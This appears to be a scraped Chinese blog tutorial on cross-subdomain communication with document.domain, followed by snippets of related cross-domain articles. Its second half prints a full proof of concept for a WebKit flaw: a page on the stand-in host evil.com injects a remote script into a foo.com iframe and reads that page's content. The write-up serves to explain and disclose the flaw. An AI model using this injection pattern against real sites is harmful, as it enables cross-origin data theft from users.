跨域(四)——document.domain

浏览器有一个合法的性质:一个页面可以设置document.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。

利用这个性质,我们可以通过设置document.domain来跨子域。比如:在blog.foo.com/blog.html和app.foo.com/app.html两个文件中分别加上document.domain=‘foo.com‘,然后通过在app.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个文件之间就可以跨域通信了。

app.html主要代码:

我是app
<iframe id=‘ifr‘ src="http://blog.foo.com/blog.html"></iframe>
<script>
document.domain=‘foo.com‘;
var ifr=document.getElementById(‘ifr‘);
ifr.onload=function(){
    var d=ifr.contentDocument||ifr.contentWindow.document;//contentDocument:firefox,>ie8  contentWindow:兼容各个浏览器
    alert(d.getElementById(‘test‘).innerHTML);
}
</script>

blog.html主要代码:

<div id="test">我是blog</div>
<script>
document.domain=‘foo.com‘;
</script>

WebKit内核浏览器有一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。下面做一个测试,在Chrome下访问,版本 27.0.1453.93。

有文件www.evil.com/attack.html,www.evil.com/poc.js和www.foo.com/proxy.html。

代码分别如下:

attack.html页面

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
我是attack页面
<script>
document.domain="com";
function inj_iframe(src,hadle){
    var o=document.createElement(‘iframe‘);
    o.src=src;
    o.id=‘proxy‘;
    o.onload=hadle;
    document.getElementsByTagName(‘body‘)[0].appendChild(o);
    return o;
}
function inject(){
    var proxy=document.getElementById(‘proxy‘);
    var d=proxy.contentDocument||proxy.contentWindow.document;
    var x=d.createElement(‘script‘);
    x.src="http://www.evil.com/poc.js";
    x.defer=true;
    d.getElementsByTagName(‘head‘)[0].appendChild(x);
}
var o=inj_iframe("http://www.foo.com/proxy.html",inject);
</script>
</body>
</html>

proxy.html代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script>
getTransport=function()
{
    var xmlhttp;
    if(window.ActiveXObject)
    {
        xmlhttp=new ActiveXObject(‘Microsoft.XMLHTTP‘);
    }
    else if(window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    return xmlhttp;
}
document.domain="com";
alert(‘proxy.html:‘+document.domain);
</script>
</head>
<body>
i am proxy.html
</body>
</html>

poc.js代码:

alert(document.domain+"|poc.js");
xhr=getTransport();
function req(method,src,argv){
    xhr.open(method,src,false);
    if(method=="POST")xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xhr.send(argv);
    return xhr.responseText;
}
x=req("GET","http://www.foo.com/proxy.html");
alert(x);

访问attack.html后的效果图:

有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件(设置document.domain为顶级域),这样的做法给XSS带来了巨大便利,即只要在任意一个子域下找到XSS漏洞都能危害到目标页面。

时间: 2024-11-05 19:29:34

跨域(四)——document.domain的相关文章

Ajax 跨域请求-- Cross Domain

在认识 跨域 之前,先简单了解下域名和协议名,比如下面这个 URL http://mail.163.com/index.html http://              协议名,也就是HTTP超文本传输协议 mail                  服务器名 163.com           域名 mail.163.com    网站名 /                        根目录 index.html         根目录下的默认网页 1.什么是跨域请求? 请求的下一个资源

前端跨域的那些事

这一节,我们来讲一讲,前端跨域的那些事,主要分成这样的几部分来讲解, 一.为什么要跨域? 二.常见的几种跨域与使用场景 2.1 JSONP跨域 2.2 iframe跨域 2.3 window.name 跨域 2.4 document.domain 跨域 2.5 cookie跨域 2.6 postMessage跨域 三.总结 一.为什么要跨域 跨域,通常情况下是说在两个不通过的域名下面无法进行正常的通信,或者说是无法获取其他域名下面的数据,这个主要的原因是,浏览器出于安全问题的考虑,采用了同源策略

Web CORS 跨域方式使用方式

CORS 参考 http://enable-cors.org/index.html https://help.aliyun.com/document_detail/oss/practice/cors_guide.html 同源策略 跨域访问,或者说JavaScript的跨域访问问题,是浏览器出于安全考虑而设置的一个限制,即同源策略.当来自于A网站的页面中的JavaScript代码希望访问B网站的时候,浏览器会拒绝该访问,因为A,B两个网站是属于不同的域. 在实际应用中,经常会有跨域访问的需求,比

[HTML5_WebWorkers]利用HTML5的window.postMessage实现跨域通信

由于同源策略的限制,JavaScript跨域的问题,一直是一个颇为棘手的问题,为了解决js的跨域,web开发人员是煞费苦心,研究了各种跨域方案,如果有机会的话,明河以后会一一展示给各位,今天明河重点介绍下html5新引入的postMessage跨域方案. 1.哪些场景要考虑跨域问题? 明河这二周在处理淘宝添加收藏夹的重构,里面就有一个非常经典的跨域问题.添加收藏弹出层外层是淘宝商城页面域名是tmall.com,而弹出层内部的页面域名却是taobao.com,接下来的问题就是我现在希望弹出层内部的

你不知道的JavaScript--Item33 跨域总结与解决办法

一.神马是跨域(Cross Domain) 说白点就是post.get的url不是你当前的网站,域名不同.例如在*aaa.com/a.html*里面,表单的提交action是bbb.com/b.html. 不仅如此,www.aaa.com和aaa.com之间也属于跨域,因为www.aaa.com是二级域名,aaa.com是根域名. JavaScript出于安全方面的考虑,是不允许跨域调用其他页面的对象的(同源策略 Same-Origin Policy). 特别注意两点: 第一,如果是协议和端口造

跨域的一些方法

一.什么是跨域理解跨域首先要理解同源策略,它是浏览器对js施加的一种安全限制.所谓同源是指协议.域名.端口必须相同.浏览器在请求数据时都要遵循同源策略,那么凡是发送请求的URL中协议.域名.端口三者之中的一点不同时,就叫做跨域. 二.jsonp 1.什么是jsonp JSONP(JSON with Padding)是资料格式 JSON 的一种"使用模式",是被包含在函数调用中的JSON.它由两部分组成:回调函数和数据. 2.jsonp跨域的原理 直接用XMLHttpRequest请求不

JavaScript学习--Item33 跨域总结与解决办法

一.神马是跨域(Cross Domain) 说白点就是post.get的url不是你当前的网站,域名不同.例如在*aaa.com/a.html*里面,表单的提交action是bbb.com/b.html. 不仅如此,www.aaa.com和aaa.com之间也属于跨域,因为www.aaa.com是二级域名,aaa.com是根域名. JavaScript出于安全方面的考虑,是不允许跨域调用其他页面的对象的(同源策略 Same-Origin Policy). 特别注意两点: 第一,如果是协议和端口造

Jquery Ajax 跨域调用asmx类型 WebService范例

摘要:Ajax 在 Web 2.0 时代起着非常重要的作用,然而有时因为同源策略(SOP)(俗称:跨域问题(cross domain)) 它的作用会受到限制.在本文中,将学习如何克服合作限制.本文以asmx方式搭建webservice作为测试用后端,给出完整的前后端调用解决方案.范例代码. 关键词: jquery ajax 跨域  webservice  asmx  cross-domain 0 问题分析 0.1 什么是跨域问题? 越来越多的网站需要相互协作.例如,在线房屋租赁网站需要谷歌地图的

如何解决跨域问题

JSONP: 原理是:动态插入`script`标签,通过`script`标签引入一个`js`文件,这个js文件载入成功后会执行我们在url参数中指定的函数,并且会把我们需要的`json`数据作为参数传入. 由于同源策略的限制,`XmlHttpRequest`只允许请求当前源(域名.协议.端口)的资源,为了实现跨域请求,可以通过`script`标签实现跨域请求,然后在服务端输出JSON数据并执行回调函数,从而解决了跨域的数据请求. 优点是兼容性好,简单易用,支持浏览器与服务器双向通信.缺点是只支持

常见跨域方法原理及其用例

一.常见跨域方法 1) JSONP跨域 需要目标服务器配合一个callback函数2) AJAX跨域 CORS3) 使用window.name+iframe来进行跨域 4) window.postMessage:跨文档通信 API(Cross-document messaging)5) 跨子域:修改document.domain6) 通过Nginx反向代理 7) WebSocket 二.原理及其用例 JSONP跨域: 原理: <script>可跨域请求资源,json格式被原生 JavaScri